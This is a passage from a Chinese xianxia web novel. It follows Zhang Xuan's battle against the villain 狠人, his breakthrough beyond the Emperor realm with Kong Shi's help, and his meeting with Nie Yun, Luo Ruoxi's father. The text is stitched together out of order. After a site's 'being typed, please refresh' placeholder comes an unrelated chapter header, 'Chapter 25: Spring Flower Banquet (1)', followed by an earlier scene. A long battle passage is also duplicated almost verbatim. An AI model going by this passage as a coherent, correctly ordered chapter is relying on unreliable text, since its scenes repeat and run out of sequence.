嘭嘭嘭嘭！ 七位帝君和张悬等人一样，倒飞而出。 十大帝君，联合在一起，竟然都没挡住对方一招！ 这家伙，怎么会这么强大？ “你们可以死了……” 一招击溃众人，狠人向前一步，手腕一翻，再次拍了下来。 “鼠辈敢尔！” 伴随一声大喝，之前剑神天的那位老者，突兀出现，挡在面前，手中长剑化作银河。 “帝君？他也是帝君实力？” 张悬瞳孔一缩。 这位老者当初跟在青年身后，本以为只是个随从，最多封号神王，施展出力量才发现，竟然也是一位帝君强者！ 如果他是帝君，那位青年，是什么？ “他本身就是剑神天的帝君……”挣扎站着身来，洛若曦咬牙道。 “那……传我剑法的青年呢？”张悬再也忍不住。 “他是……”洛若曦刚想回答，空间一阵扭曲，随即看到剑神天的这位帝君，同样倒飞了出去，落在不远处，砸出一个大坑。 张悬现在的实力，和对剑道的领悟，远超过他，都抗衡不住，他即便修为不弱，剑术高明，依旧不是对手。 “哈哈，帝君，一群土鸡瓦狗而已！今天我就灭了九天，灭了这神界，将一切规则踏平！” 将剑神天的帝君击败，狠人疯狂大笑，四周的空间不停坍塌，衬托的他如妖如魔。 “怎么办？”张悬拳头捏紧。 刚才他和分身，都施展出最强战斗力了，甚至眼前的洛若曦，也将最强招数使用了出来，都没挡住对方的一招…… 难道神界，真的没人能够挡住眼前这位？ 任由他将世界毁灭？ “唯一的办法……是将你的天道有缺，回归天道本身，让天道将他镇压……”洛若曦秀拳捏紧，眼眶泛红。 “回归天道本身？”张悬知道她的意思。 脑海中的图书馆，本身是天道的一部分，一旦回归，天道就等于彻底完整了，或许就可以修复漏洞，自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整，病毒来了，轻易驱赶；坏了，抵抗不住病毒入侵，再强壮的人，也会因此死亡。 只是…… “他太强大了，即便天道恢复完整，也无法镇压吧！”张悬摇头。 病毒，免疫系统是可以斩杀，但……猛虎呢？ 再强的免疫系统，又有什么办法？ 眼前这位，只是普通神王，哪怕封号，天道都可以轻易杀死，可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下，洁白的玉面上露出失落之色：“是啊……没办法镇压，但是，天道完整，他就能醒过来，斩杀这位，并不难！” “他？”张悬皱眉。 “我带你去见他，就在自在天……”深吸一口气，洛若曦一咬牙，转身就向前飞去。 “想逃？”狠人冷哼，向下一按。 嘭！ 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来，剑意辉煌而出。 叮叮叮！ 再次被狠人挡住。 “你们快走，我来挡住他……” 知道他们再想拯救神界的方法，而不是逃走，分身和不死帝尊，一声大喝挡在前面，洛七七也摇身一变，回归静空珠本体。 四周的空间凝固起来。 “走！” 见众人奋不顾身挡在后面，无畏惧死亡，张悬眼眶一红，不过，也知道现在不是多说的时候，一拉洛若曦，身体一晃，划破空间，下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在，神界崩塌，四处一片混乱。 “你说的他，在哪里？” 没空去观察普通人的生活，张悬看向怀中的女孩。 如果她说的那人，真能拯救神界，自己牺牲又何妨！ “他是我的父亲，你吊坠中的血液，就是他的，不死帝君，曾是他的兽宠……”洛若曦调息了一下，解释道。 “父亲？” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似，却又不同，原来是她父亲的。 这样也就解释了，为何不死帝君留下的那道意念，看到吊坠后，立刻认自己为主。 “你父亲也是帝君？或者拥有超越帝君的实力？” 忍不住道。 图书馆混乱，是吊坠中的血液，让自己恢复清醒，难不成，不仅她是帝君，父亲也是，甚至更加强大？ 如果是这样的话，又为何会昏迷？ 又需要天道有缺，才能让其清醒？ “他不是帝君，而是……天道！” 洛若曦秀拳捏紧。 “天道？你父亲……是天道？”张悬一震，不敢相信。 “是！五十年前，父亲抵挡不住那只大手，陷入昏迷，天道崩散成三部分，天道有序和天道有缺，进入空间乱流，我代为掌控天道自然，维持神界的平衡。想要让他恢复，只有将散开的部分收集……所以，我才如此决绝，不能失败！才专门进入名师大陆，研究春秋大典，想办法战胜孔师！和孔师战斗的时候，拜托他的事，也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久，眼前的女孩，就和自己讲述过她的故事，要救一位至亲，自己当时还不明白，现在才恍然大悟。 竟然是她父亲，而且还是神界天道！ 天道真的能够化成人形，并且生儿育女吗？ “代为掌控天道自然……你体内，没有天道碎片？”突然，意识到她语言中的不对劲，张悬看过来。 代为掌控，和自己这种融合在体内，是两种概念。 “我只是掌控，并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来，只需要自己将天道有缺剥离出来就行了，并不需要她也死亡。 尽管这种命运，不愿意接受，却也不愿意眼前的女孩，受到伤害。 “我将体内的天道有缺剥离出来，你父亲就能活过来，甚至将狠人击杀是吧？”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界，洛若曦迟疑。 神界是父亲的根基，现在根基都这样了，就算清醒，真的能够将那个强大的狠人击败吗？ 真不好说！ “看来你也不能肯定，既然如此，求人不如求己……我们只有自己想办法！”张悬咬了咬牙：“你、我、分身，联合九天九帝，如果在配合上孔师，未必不能获胜！” “孔师？他……”洛若曦皱眉。 “孔师已经死了是吧！他并未真正死亡，如果猜的没错，他被你斩杀，只是用来脱离天道的方法……不出意外，他应该和魏长风一样，是【先天胎魂体】！” 张悬道。 看到魏长风，就明白过来，孔师所谓的保持灵智，应该和他一样，是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手，复活，只是时间问题。 洛若曦愣住，似乎她没想到，会是这样。 “过去看看就知道了，猜的不错，他应该已经恢复，不然，他的那些学生，不可能连潮汐海都没去……”张悬道。 孔师的那些学生，子渊古圣等人，个个实力强劲，就算没有帝君帮助，也必然有办法进入潮汐海，可却一个都没见。 必然是有更重要的事情等着，想要趁所有帝君去潮汐海无暇顾及的时候去做！ 而这种重要的事，明显就是让孔师恢复。 “这……”洛若曦心中一震，恍然大悟。 “走吧！” 不再解释，单手一划，张悬重新来到孔师居住的所在，果然看到一个老者盘膝悬浮在空中，见他们来到，微微一笑：“来了！” 不是孔师，又是何人！ 这位万世之师，果然没让自己失望！ 和猜测的一样，趁着所有人都将注意力集中在潮汐海的时候，重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活，不死帝君也活过来了，但……没想到速度这么快！ “我隐瞒天道，提前就准备了后手，幽魂池中的那个没有名字的巨人，就是我留下的，当日被你斩杀，我借机摆脱了天道的束缚，重新凝聚肉身，现在也刚刚恢复罢了！” 孔师微微一笑。 他精通时间能力，看起来神界只过了一、两天，实际上为了恢复力量，经历了不知多久。 几十年的时光，都有了。 “我们三人的实力，是很强，但想要胜过狠人，也没那么容易……” 见孔师果真恢复，洛若曦依旧摇头。 不是涨他人威风，灭自己志气，而是事实。 刚才这么多人联合，都没挡住对方，即便增加一个孔师，又能如何？ 同样改变不了局面！ “我们单个的实力，甚至联合在一起，的确不是对方的对手，但……如果将所有人的力量，都融合在一个人的身上呢？” 孔师笑着看过来。 “融合在一个人身上？” 这次不光洛若曦皱眉，张悬也满是疑惑。 “那个手掌能够撕裂神界，将天道都打散，实力之强，不容置疑，狠人将这股力量全部吸收，又吞噬了神界五十年的灵气，单凭实力，我们十几位帝君，单个拿出来，的确不是对手……” 孔师道：“但联合在一起，将力量集中在一人身上……就未必了吧！” “如何集中？” 洛若曦看过来。 说的简单，做起来难。 帝君已经站在神界最巅峰了，如果这么容易吸收别人的力量，她也不至于这么多年，停滞不前。 “很简单……我们将身上的力量，集中在张悬身上，一旦他能冲破帝君桎梏，就能救下神界！” 孔师道。 “我？”张悬一愣：“为什么是我？” “灵犀帝尊修炼的是自由自在，超脱自然！但有了父亲和天道的制约，有了牵挂的人，就永远没办法真正超脱！如果我没看错，当初和我战斗的时候，你也曾放弃过，打算被我斩杀吧！” 孔师道。 洛若曦说不出话来。 战斗的时候，的确有过这种打算，所以二人的交手，刚开始的时候，各自留着后手，宛如切磋，不像生死搏斗。 “无法超脱，自然也就发挥不出最强力量，即便给与再多的真气，同样无法冲击那至高的境界！至于我……” 孔师点头道：“心怀苍生，想要普度天下，却不愿意别人为我牺牲，仁慈太多，也是缺点！如果心狠一些，将异灵族灭族，就不会有现在的局面……” 当初如果能将异灵族人全部灭杀，狠人就不可能复活，也不会有现在的情况。 “所以，我也不适合！而张悬，功法顺心，没有缺陷。讲究活出自我，哪怕身死，只要活得无愧，就心中坦荡。这种人拥有更大的包容，更大的发展空间，只有这样，才能走的更高，更远！” 孔师继续道。 生当复来归，死当长相思！ 连死亡都不在乎，又怎么会被其他事情所羁绊？ “这……”张悬皱眉，正想说些什么，就见孔师目光炯炯的看过来：“不用推辞了，先说时间来不及，去培养其他人，就算来得及，我也觉得未必有人能比你做得更好！灵犀帝尊体内虽没有天道碎片，却常年掌控天道，对天道有着属于自己的理解；我掌控天道有序，如果我们将力量灌输给你，你体内就会拥有完整天道的力量！配合上分身的九天混沌金莲，完全可以做到定九天，掌乾坤，战九霄，灭万物！” “好吧！” 见对方已经做出决定，自己解释再多也无用，张悬点了点头。 轰隆！ 盘膝做好，一眨眼功夫，两股雄浑的力量，就从两侧灌涌而来。 张悬全身一僵，整个人仿佛刹那间化身天道，翱翔在九天之上。 灵魂、肉身、真气，都在瞬间得到了洗礼，越来越强，越来越雄浑。 …… “你们也想拦我？也好，杀了你们，再去将张悬斩杀……” 将洛七七和分身等人拍飞，狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量，的确很强大，不过，和他比，依旧弱了一些。 潮汐海将神界出了城市外的灵气，几乎全部吞噬干净，现在这些力量，都化作他的寄养，举手投足，带着毁灭天地的能力，这些帝君、神王，尽管代表了神界最巅峰，依旧不堪一击。 此时的狠人，仿佛代表了整个神界，无人能挡。 “神界灭亡，我们活着也没意义，我云螭，与你同归于尽……” 云螭大帝变化出本体，一头巨大的五爪金龙，凌空向他扑了过去。 “就你？不配！” 狠人手掌一捏，金龙就挂在掌心，无论如何挣扎，都逃脱不掉。 “老友，等我！” 扶猛帝君也一声大吼，变化出白虎本尊，凌空来到跟前。 不死帝君，不死火凤本尊显示出来，火焰照耀天空。 玄冥大帝，本尊乃一头大龟，宛如托举着诸天。 四大神兽，镇守神界四极，同时变化本体，崩塌的神界，都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭！ 连续四掌，狠人将四兽镇压下来，眼中闪过一道浓烈的杀意：“既然你们找死，我就成全你们……” 咆哮声中，正想下死手将众人全部抹杀，就感到扬起的手臂一紧，在空中停了下来。 “想要杀他们，问过我没有……” 随即，众人震惊的目光中，一个人影从空中缓步走了出来。 正是张悬！ 此时的青年，全身力量澎湃，比刚才强大了十倍不止，自天而来，宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来，目光凝重。 他显然也没明白，为何短短几分钟的光景，对方的实力有了如此巨大的变化。 “不过，增加了又如何？全盛期的神界，都抵挡不住，我不信，你能挡得住我……” 一声冷哼，狠人再次拍落而下。 张悬长剑扬起，迎了上来。 双方战斗在一起，空间一道道撕裂，气流四处乱窜。 “张悬能不能获胜？” 自在天孔师驻地，洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬，自身修为，已经降低到只有神王级别，不如之前那么辉煌了。 不过，级别在哪里摆着，只要力量足够，终有一天，可以重新恢复。 “凭借现在的实力，想要胜过……很难！除非……他能领悟超越帝君的力量！” 沉默了片刻，孔师道。 十几个帝君联合，都无法胜过狠人，即便他们将力量全部传递给对方，想要胜过，也没那么容易。 之所以这样做，是因为……力量只有集中在一人身上，才有可能触碰到顶点，才有可能真正超越极限，突破自我！ “超越帝君的力量？” 洛若曦眼神悠远。 父亲还清醒的时候，曾和她说过同样的话，但……她无法做到，自己心爱的男子，能够做到吗？ “他一定能……他有着一颗不屈的心！和对这个世界的傲然。” 看出她心中的疑问，孔师笑道。 …… 嘭嘭嘭！ 连续几招下来，张悬虎口开裂，胸口出现了一道巨大的伤痕，狰狞可怖。 和孔师说的一样，即便融合了他们二人的力量，体内形成了完整的天道，依旧不是对手。 “哈哈，还以为多厉害，不过如此！”狠人冷冷一笑。 “反正不是你的对手，早晚都会被杀，既然如此，我想死在你最强的攻击之下……”深吸一口气，张悬停了下来，不在进攻，反而看向眼前的狠人。 “好，我成全你，给你最强的攻击……” 听他这样说，狠人愣了一下，随即冷哼一声，手掌扬起。 哗啦！ 一道青光出现在掌心，猛地拍落而下。 果然是最强攻击，整个神界都发出轰鸣，宛如快要承受不住，再次被打出一个巨大的坑洞。 双眼紧闭，张悬并未躲避。 嘭！ 脑袋炸裂开来，灵魂四处溃散。 “张悬……”看到这一幕，所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛，不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏，冲击超越帝境境界的，怎么不去反抗，甘心赴死？ 这样，岂不辜负了他们的一番好心？ “不对，是不死帝君的不死之法……” 正在奇怪，孔师突然开口。 众人随即看到，脑袋炸开，甚至灵魂碎裂的张悬，胸口的吊坠陡然炸开，一滴血液悬浮而起，燃烧起来，形成了一团炙热的火焰，火焰中，一具完好无损的身影，缓步而出。 “他……借助对方的力量，和吊坠中的血液，将天道有缺和灵魂分离了？” 洛若曦瞳孔收缩。 浴火重生后的张悬，体内竟然没了天道图书馆，没了天道的干扰，脱离了天道！ “他怎么做到的？” 孔师也满是不敢相信。 天道和灵魂融合在一起，不分彼此，为了摆脱，他不得不魂飞魄散，借助幽魂池重新凝聚魂魄。 眼前这位，只被斩杀了一下，就彻底摆脱，用了什么办法？ “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人，主人不解除，仆人就永远受制……天道图书馆也是这样，可以说是一种增强版的契约。 绑定了灵魂，不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约，具体方法，张悬之前详细询问过，恐怕那时就动了心思。 这才故意拼死，让其施展出最强力量对他攻击。 借助这种力量，浴火重生，没想到，果然大获成功！ “原来如此，这才是突破帝君的方法……” 从火焰中走出的张悬，脸上露出淡淡的微笑，像是明白了什么，突然一招手，一侧的分身，立刻重新变成一朵莲花，飞了过来。 刹那间，与自身完美融合。 一眨眼功夫，众人感觉，眼前的张悬，像是变成了九天，九天就是他。 脚掌在地上轻轻一踏。 混乱的九天，立刻稳定下来。 九天混沌金莲，九天诞生时出现，能够稳定九天，此时分身和自我完美融合，不分彼此，也就等于他掌控了这种力量。 不仅如此，融合了九天混沌金莲的修为，他本就达到巅峰的境界，出现了松动，似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起，原来就是世间万物，这才是人！” 面带微笑，张悬喃喃自语。 天道图书馆脱离灵魂的刹那，他明白过来。 是人看了世界，才有了世界，还是先有世界，后有了人？ 是风动，还是心动！ 这个问题，亘古不朽的困扰着无数人。 当然，现在……这些都不重要了！ 没有生命，没有情感，世界就算存在，又有何意义？ 所以，突破爱情之后，是众生情！是交织天下的情感。 世间万物皆有情感，有情才有世界，有情感，才能延续生命。 爱，是情。 憎，是情。 高兴，是情。 痛苦，是情。 离别，是情。 相聚，也是情！ “万千情意，为我所用……” 一声低呼，张悬体内禁锢的境界，瞬间破开。 帝君桎梏，突破了！ 一瞬间，仿佛触摸到了一个全新的世界和大门，灵魂得到了快速的滋养。 无数混沌之气，涌了过来，肉身也飞速提升。 之前只有吸收灵力，才能进步，而现在空间乱流、混沌之气，哪怕是对方的青光，都可以为我所有，不分彼此。 “你……”狠人没想到，自己的全力攻击，非但没将其斩杀，反而成全了他，气的“哇哇！”乱叫，一声怒喝，再次攻击下来。 “你怨恨高高在上的帝君，没在空间乱流中救下自己，是情；觉得曾是我的仆人，蕴含卑微和愤怒，是情；想要毁灭神界，发泄愤怒，是情；想要变得更加强大，同样是情……情感控制着你，你又如何胜得过我，不被我控制？” 淡淡一笑，张悬的声音越来越快，越来越响亮，手掌轻轻一抓。 原本纵横无敌的狠人，就被无数情感细线，禁锢在一起，束手束脚，无法动弹。 只要有情，就要被他所用，被他控制！ “你……” 狠人眼中满是惶恐：“张师，我是你的仆人，不要杀我……我愿意灵魂献祭……” “现在再说这些，已经晚了……”微微一笑，张悬摇了摇头。 掌控天下之情，仆人之类对于他来说，已经没任何意义了。 杀了神级这么多人，伤了自己的女朋友，洛七七以及这么多朋友，今天，又怎么可能宽恕！ “不……” 感受到他的果决，狠人瞳孔收缩，话音未结束，立刻感到身上一阵剧烈的疼痛。 嘭！ 一刹那间，爆炸开来，化作无数灵气，向神界各处灌涌。 之前，潮汐海吞噬掉的所有力量，此时全部反哺回来，已经枯竭的荒野，重新焕发生机。 “这……” “这样就杀了？” 云螭大帝、不死帝君、玲珑仙子啊等人，全都瞪大了眼睛，不敢相信。 刚才他们和狠人交过手，知道可怕，这么强大的人，竟然随手覆灭，这位张悬……到底达到了何种地步？ 难道帝君之上，真的还有另外的境界？ “他成功了……” 孔师和洛若曦，松开捏紧的拳头。 “这是天道的一部分，那我现在就归还天道……” 看到刚才从自己体内，被分离出来的“天道有缺”，依旧在空中悬浮，张悬轻轻一笑，屈指一弹。 嗡！ 从重生就伴随他的图书馆，轰然镶嵌在神界的天空之上。 大钟般的鸣响，不断崩溃的神界，肉眼可见的缓慢恢复，混乱的气流，也重新聚拢起来。 崩塌的神界，终于停了下来，干枯的灵气，也伴随狠人的死亡，慢慢复苏。 “看来，神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿，伴随天道的补全，已经恢复，神界恢复以前的盛况，只是时间问题。 “张悬，这边来……” 刚做完这些，脑中响起一个声音，张悬愣了一下，一步跨出。 这一步，不知飞了多远，随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈，你……” 看到是他，张悬一愣。 之前就觉得这位，深不可测，现在才发现，比起自己，也只差了一丝而已，已然达到了帝君的最巅峰，比起之前的洛若曦，都强大不知多少。 “直呼我名字即可，我叫……聂铜！”青年身上散发出一往无前的剑意，淡淡道。 “聂铜？”张悬皱了皱眉。 第一次听到这个名字。 “跟我来，带你见我哥哥！”叫做聂铜的青年莞尔一笑，向前跨步而出。 张悬紧跟在身后，不知飞了多远，在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少，双眉上扬，给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力，竟然比他还要强大，同样突破了帝君的桎梏，而且修为更加深远厚重！ “在下，聂云！”青年淡淡一笑，看了过来：“也就是……聂灵犀，你口中洛若曦的父亲！” “若曦的父亲？” 张悬一震：“你……是神界天道？” 之前洛若曦说过，自己的父亲，是天道，怎么都想不到，是这样一个年轻人。 “我一气化三清，一部分灵魂，变成了天道！再说，这个世界，是我创造的，说我是天道也无不可！”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的？ 那他的实力，该有多强？ “不对，如果神界是你创造的，你又是天道，为何任由狠人肆虐，而不出手……”张悬看过来。 如果不是自己突破，神界极有可能彻底崩塌，为何眼前这人，不管不问？ 甚至连女儿的生死，都关心？ 没回答他的问题，聂云淡淡的看过来：“你认为……神界之上，还有更加强大的生命吗？” “这……”张悬停顿了一下：“应该有吧……” 虽然没见过，但既然他能修炼到这种境界，或许其他人也可以，甚至更强。 就好像眼前这位。 “我曾怀疑，神界之上会有更强大的生命，所以用尽全力窥视，最终引来了更高世界的反噬……一个手掌破空而下！” 聂云看过来：“当时如果我躲闪，极有可能整个神界都会被抹平，再没有半个生命……所以，挡下了这招，但也因此，化身的天道被分裂出去。” “这种情况，我想恢复，只是一道意念而已，但……我明白，想要真正超脱神界桎梏，去探索手掌由何而来，神界之外，又有什么……单靠我一人很难做到。所以，想要看看，有没有生命，能够突破帝君桎梏，达到和我平齐的地步！” “所以，就将分散的天道意念，送到最底层的世界……分别赐予原本属于这个世界的灵魂，和一个不属于这个世界的灵魂。而你，最终没让我失望！” 聂云笑道。 “不属于这个世界的灵魂，这样说来，我穿越，也是因为你？”张悬心中一震。 难怪，能够穿越过来，没想到都是眼前这位所为。 “呵呵！”聂云轻轻一笑，道：“本身属于这个世界，就有着对世界的敬畏，想要突破世界桎梏，难度要大得多，我也是心念一动，并没想到，你真的能够成功……” “我……”张悬脸色一红：“如果不是孔师，我根本不可能达到这种地步……” 没有孔师的无私奉献，想要达到现在的境界，根本不可能做到。 “机会我给他了，没把握住而已。和灵犀的比斗，其实就是他突破的最佳机会，可惜，他选择了退避，以为自己留了后手，可以全身而退，实际上却是失去了勇猛精进，面对超越我们的人，如果连这点精神都没有，又如何能够与之抗衡？” 聂云道。 张悬沉默不语。 当时二人的战斗，他都看在眼里，孔师的确在果决上有些欠妥。 也有可能，他不愿意斩杀洛若曦吧。 可惜，就这一念之间，错过了晋级的机会。 “如果孔师获胜，若曦就会死……”片刻后，张悬看过来，眉毛皱起。 难不成，眼前这位连女儿的生死都不管了？ “有我在，她不会死……”聂云淡淡一笑：“你现在的实力，和我也差不了多少了，你觉得二人的实力，生死关头，想要救人，能不能做到？” “这……”张悬苦笑。 突破帝君，和帝君，是两个概念，如果他真的愿意出手，的确可以在最后关头将人救下，而且保证，一点伤都受不了。 “灵犀，是我另外一个妻子洛倾城所生，所以她伪装的名字，姓洛……为了能让她相信，不感情用事，到现在一直以为我还陷入昏迷……” 聂云苦笑一声：“我这个爹也算做得够狠了……这样吧，这件事还是你和她解释吧，毕竟，她现在的心思，已经转移到你身上了，我这个老爹，估计都想不起来了……哈哈，我暂时就不出现了，躲避上一段时间再说，不然，真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹，面皮一抽，张悬只好答应：“好吧……” 不答应也没办法，谁让自己拐走了人家的女儿…… “天道图书馆，是我一道意念所化，是根基，也是桎梏，你能靠自己的能力，突破桎梏，说明了能力和潜力，将来前途无量，我女儿能和你在一起，做父亲的，也算欣慰了。” 正在手打中，请稍等片刻，内容更新后，请重新刷新页面，即可获取最新更新！ 第二十五章 春花宴（1） 灵魂契约，契合灵魂，只要自己不解除，哪怕对方手段通天，都无法化解。 就好像不死帝君小黄鸡，之前只是神王，他是帝君，同样没办法解决这种约定。 为了防止这家伙变卦，出现反噬的现象，名师大陆就曾专门定下，即便对方可以脱离天道之册，也无法挣脱灵魂间的约定啊！ “灵魂契约，的确无法从识海中分裂出去，但我融合了连天道都可以化解的特殊气体，将这种契约化解掉，并不难……只要有足够力量，轰击契约所在之处，就能做到！” 狠人道。 灵魂契约，是建立在天道基础上的，特殊力量连神界天道都能化解，化解个灵魂契约，只要处理得当，又有何难？ “原来如此……”张悬目光一闪。 “和你说这么多，也算感谢将我带到神界了！” 解释完，狠人不再多说，身上的气息愈发的亘古悠远，身后的黑洞变得更加巨大，显然说话的功夫，又吞噬了不知多少力量，做了滋补。 “张悬，黑洞吞的越多，他的实力越强……” 洛若曦也发现了不对劲，急忙传音过来。 “准备动手吧！”心中疑惑尽消，张悬深吸一口气，手中长剑，陡然扬起：“既然如此，那就手底下见真章吧！” 轰隆！ 最强大的剑意，再次施展而出。 生当复来归，死当长相思！ 生死皆不在乎，又有何事可以阻拦？ 这一招剑法，虽然是没达到帝君领悟的，却蕴含了心中的一切执念，将体内的天若有情功法，发挥到了极限。 呼！ 一剑将狠人的攻击，斩成两半。 同一时刻，洛若曦也出手了，玉手翻滚，剑芒如雪。 她的剑法和剑神天的那位青年有些相似，带着一往无前的气势，和大道自然的潇洒。 “你们的招数是很厉害，但对比我，还是差了些……” 轻轻一笑，狠人再次向下抓来。 一瞬间，遮天蔽日，手掌将天地都笼罩了，空间碎裂，日月星辰都仿佛要被硬生生打下来。 噗！噗！ 张悬和洛若曦同时倒飞而出，人在空中鲜血狂喷。 以二人的实力，竟然抵挡不住！ 这家伙到底达到了何种境界？ “放肆！”分身大步踏来，每走一步，就有莲花绽放，虚空中带着流水的声音。 远远看去，逼格十足。 炼化九天混沌金莲，他的修为比起张悬，丝毫不弱。 一拳扬起，力量冲上九天。 和狠人对碰，同样倒飞而出，挡不住一招。 张悬捂住额头。 成就帝君了，分身依旧不改装逼的本性…… 这么绚丽的装逼，还不如将力量集中起来，威力更大！ “一起出手，不然，他们死了，我们都会死……” 小黄鸡一声大喝，赤红的的火焰燃烧，天空都像被点燃。 剩下六大帝君，也各自施展手段。 七位帝君联合，毁天灭地，一方天地在面前都抵挡不住，但对方是吸收了特殊力量的狠人，攻击来到跟前，黑洞陡然变大，眨眼功夫就将力量吞噬干净，紧着着反击而出。 嘭嘭嘭嘭！ 七位帝君和张悬等人一样，倒飞而出。 十大帝君，联合在一起，竟然都没挡住对方一招！ 这家伙，怎么会这么强大？ “你们可以死了……” 一招击溃众人，狠人向前一步，手腕一翻，再次拍了下来。 “鼠辈敢尔！” 伴随一声大喝，之前剑神天的那位老者，突兀出现，挡在面前，手中长剑化作银河。 “帝君？他也是帝君实力？” 张悬瞳孔一缩。 这位老者当初跟在青年身后，本以为只是个随从，最多封号神王，施展出力量才发现，竟然也是一位帝君强者！ 如果他是帝君，那位青年，是什么？ “他本身就是剑神天的帝君……”挣扎站着身来，洛若曦咬牙道。 “那……传我剑法的青年呢？”张悬再也忍不住。 “他是……”洛若曦刚想回答，空间一阵扭曲，随即看到剑神天的这位帝君，同样倒飞了出去，落在不远处，砸出一个大坑。 张悬现在的实力，和对剑道的领悟，远超过他，都抗衡不住，他即便修为不弱，剑术高明，依旧不是对手。 “哈哈，帝君，一群土鸡瓦狗而已！今天我就灭了九天，灭了这神界，将一切规则踏平！” 将剑神天的帝君击败，狠人疯狂大笑，四周的空间不停坍塌，衬托的他如妖如魔。 “怎么办？”张悬拳头捏紧。 刚才他和分身，都施展出最强战斗力了，甚至眼前的洛若曦，也将最强招数使用了出来，都没挡住对方的一招…… 难道神界，真的没人能够挡住眼前这位？ 任由他将世界毁灭？ “唯一的办法……是将你的天道有缺，回归天道本身，让天道将他镇压……”洛若曦秀拳捏紧，眼眶泛红。 “回归天道本身？”张悬知道她的意思。 脑海中的图书馆，本身是天道的一部分，一旦回归，天道就等于彻底完整了，或许就可以修复漏洞，自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整，病毒来了，轻易驱赶；坏了，抵抗不住病毒入侵，再强壮的人，也会因此死亡。 只是…… “他太强大了，即便天道恢复完整，也无法镇压吧！”张悬摇头。 病毒，免疫系统是可以斩杀，但……猛虎呢？ 再强的免疫系统，又有什么办法？ 眼前这位，只是普通神王，哪怕封号，天道都可以轻易杀死，可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下，洁白的玉面上露出失落之色：“是啊……没办法镇压，但是，天道完整，他就能醒过来，斩杀这位，并不难！” “他？”张悬皱眉。 “我带你去见他，就在自在天……”深吸一口气，洛若曦一咬牙，转身就向前飞去。 “想逃？”狠人冷哼，向下一按。 嘭！ 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来，剑意辉煌而出。 叮叮叮！ 再次被狠人挡住。 “你们快走，我来挡住他……” 知道他们再想拯救神界的方法，而不是逃走，分身和不死帝尊，一声大喝挡在前面，洛七七也摇身一变，回归静空珠本体。 四周的空间凝固起来。 “走！” 见众人奋不顾身挡在后面，无畏惧死亡，张悬眼眶一红，不过，也知道现在不是多说的时候，一拉洛若曦，身体一晃，划破空间，下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在，神界崩塌，四处一片混乱。 “你说的他，在哪里？” 没空去观察普通人的生活，张悬看向怀中的女孩。 如果她说的那人，真能拯救神界，自己牺牲又何妨！ “他是我的父亲，你吊坠中的血液，就是他的，不死帝君，曾是他的兽宠……”洛若曦调息了一下，解释道。 “父亲？” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似，却又不同，原来是她父亲的。 这样也就解释了，为何不死帝君留下的那道意念，看到吊坠后，立刻认自己为主。 “你父亲也是帝君？或者拥有超越帝君的实力？” 忍不住道。 图书馆混乱，是吊坠中的血液，让自己恢复清醒，难不成，不仅她是帝君，父亲也是，甚至更加强大？ 如果是这样的话，又为何会昏迷？ 又需要天道有缺，才能让其清醒？ “他不是帝君，而是……天道！” 洛若曦秀拳捏紧。 “天道？你父亲……是天道？”张悬一震，不敢相信。 “是！五十年前，父亲抵挡不住那只大手，陷入昏迷，天道崩散成三部分，天道有序和天道有缺，进入空间乱流，我代为掌控天道自然，维持神界的平衡。想要让他恢复，只有将散开的部分收集……所以，我才如此决绝，不能失败！才专门进入名师大陆，研究春秋大典，想办法战胜孔师！和孔师战斗的时候，拜托他的事，也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久，眼前的女孩，就和自己讲述过她的故事，要救一位至亲，自己当时还不明白，现在才恍然大悟。 竟然是她父亲，而且还是神界天道！ 天道真的能够化成人形，并且生儿育女吗？ “代为掌控天道自然……你体内，没有天道碎片？”突然，意识到她语言中的不对劲，张悬看过来。 代为掌控，和自己这种融合在体内，是两种概念。 “我只是掌控，并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来，只需要自己将天道有缺剥离出来就行了，并不需要她也死亡。 尽管这种命运，不愿意接受，却也不愿意眼前的女孩，受到伤害。 “我将体内的天道有缺剥离出来，你父亲就能活过来，甚至将狠人击杀是吧？”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界，洛若曦迟疑。 神界是父亲的根基，现在根基都这样了，就算清醒，真的能够将那个强大的狠人击败吗？ 真不好说！ “看来你也不能肯定，既然如此，求人不如求己……我们只有自己想办法！”张悬咬了咬牙：“你、我、分身，联合九天九帝，如果在配合上孔师，未必不能获胜！” “孔师？他……”洛若曦皱眉。 “孔师已经死了是吧！他并未真正死亡，如果猜的没错，他被你斩杀，只是用来脱离天道的方法……不出意外，他应该和魏长风一样，是【先天胎魂体】！” 张悬道。 看到魏长风，就明白过来，孔师所谓的保持灵智，应该和他一样，是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手，复活，只是时间问题。 